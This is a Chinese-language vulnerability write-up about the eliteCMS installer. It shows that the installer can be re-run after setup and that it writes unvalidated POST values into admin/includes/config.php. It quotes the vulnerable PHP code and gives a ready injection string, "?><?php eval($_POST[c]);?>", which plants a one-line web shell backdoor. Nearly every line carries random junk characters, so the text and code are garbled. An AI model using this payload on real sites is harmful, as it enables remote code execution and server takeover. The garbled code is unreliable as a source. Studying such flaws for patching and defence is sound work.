eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
2 u2 z+ |1 W3 u% U" S
, z2 X* q- j( J* w另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
8 H" C9 ]. s, n( ]' i我们来看代码:
/ o( M3 _0 q! L4 s
* x, W/ {" b- _' R" T...' ~2 X6 y$ M; r# Z+ J( l& I( z. p& A
elseif ($_GET['step'] == "4") {8 o d* M+ B. B+ O; r b
$file = "../admin/includes/config.php";1 l* B& ?8 T7 O& I% M
$write = "<?php\n";! k0 D6 q7 ]/ W C
$write .= "/**\n";1 B1 |! o( a" t5 h2 g8 C
$write .= "*\n";
( ?7 q5 D) [# l! N8 V) Q7 ^ $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n"; k# a. \9 k/ w- @6 g: K% W
...略..., N( v$ N S R- Z, Z: V3 v7 z
$write .= "*\n";! A: U, e; X1 \. E. U* G' \
$write .= "*/\n";- x. I' C8 u- j
$write .= "\n";
+ i T6 c5 F3 e o- I) m5 k $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 _5 F$ @2 ]+ a J, Y" e) b; m $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";+ w7 S% g1 i. {) H3 ^0 g( o
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
# v4 x. }+ S! c $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
- A) Z( ~0 H8 q3 Y6 M $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
- n6 Q) A0 N( T4 g5 o! v8 g& u $write .= "if (!\$connection) {\n";/ T6 B b1 e: {) O1 \
$write .= " die(\"Database connection failed\" .mysql_error());\n";
# D- z2 c3 u6 U+ p: E4 { $write .= " \n";7 V$ w1 X- u% A& Z$ U
$write .= "} \n";; ^, e5 ^' Q# L, G/ V# |
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";8 b8 C- f0 ?. H8 z% u. q6 B% K
$write .= "if (!\$db_select) {\n";# Y& ? K" k* g- c$ \
$write .= " die(\"Database select failed\" .mysql_error());\n";2 m) F" j+ k9 B: @* S4 @
$write .= " \n";5 Q, b8 q- z) |) k+ H
$write .= "} \n";
: c; h, e8 L: e0 r% ~) X6 M $write .= "?>\n";
; n* y' ?$ E/ F 1 C+ T8 k- [: ?( W5 ~
$writer = fopen($file, 'w');0 M' `9 L3 G) W9 ~5 m" ~$ h" o( R
...
$ x/ w: D! ]8 U 7 n0 ~) L0 k2 ?" C
在看代码:, o( N# M+ r: g Q) g4 E
+ W0 m$ _: o& I5 v( W2 @0 j
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];8 ~7 \& \" Z: J% q, o' ]
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
, `9 {8 n _9 q+ W7 q$_SESSION['DB_USER'] = $_POST['DB_USER'];
) x, H' [2 M; }5 ]$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
0 I+ u9 g+ }- [( ^, a8 U) ] ! o& i j2 ]' @; A" `
取值未作任何验证0 a! {5 o0 F, t/ v: G
如果将数据库名POST数据:; N7 s3 ~) @2 X/ y' _
3 w# @( V8 Y# K"?><?php eval($_POST[c]);?><?php- r7 P5 P) C) A- b4 @
) i t: r! X; N
将导致一句话后门写入/admin/includes/config.php
1 u' I) X( M7 U8 v; p# b4 Y$ s$ r |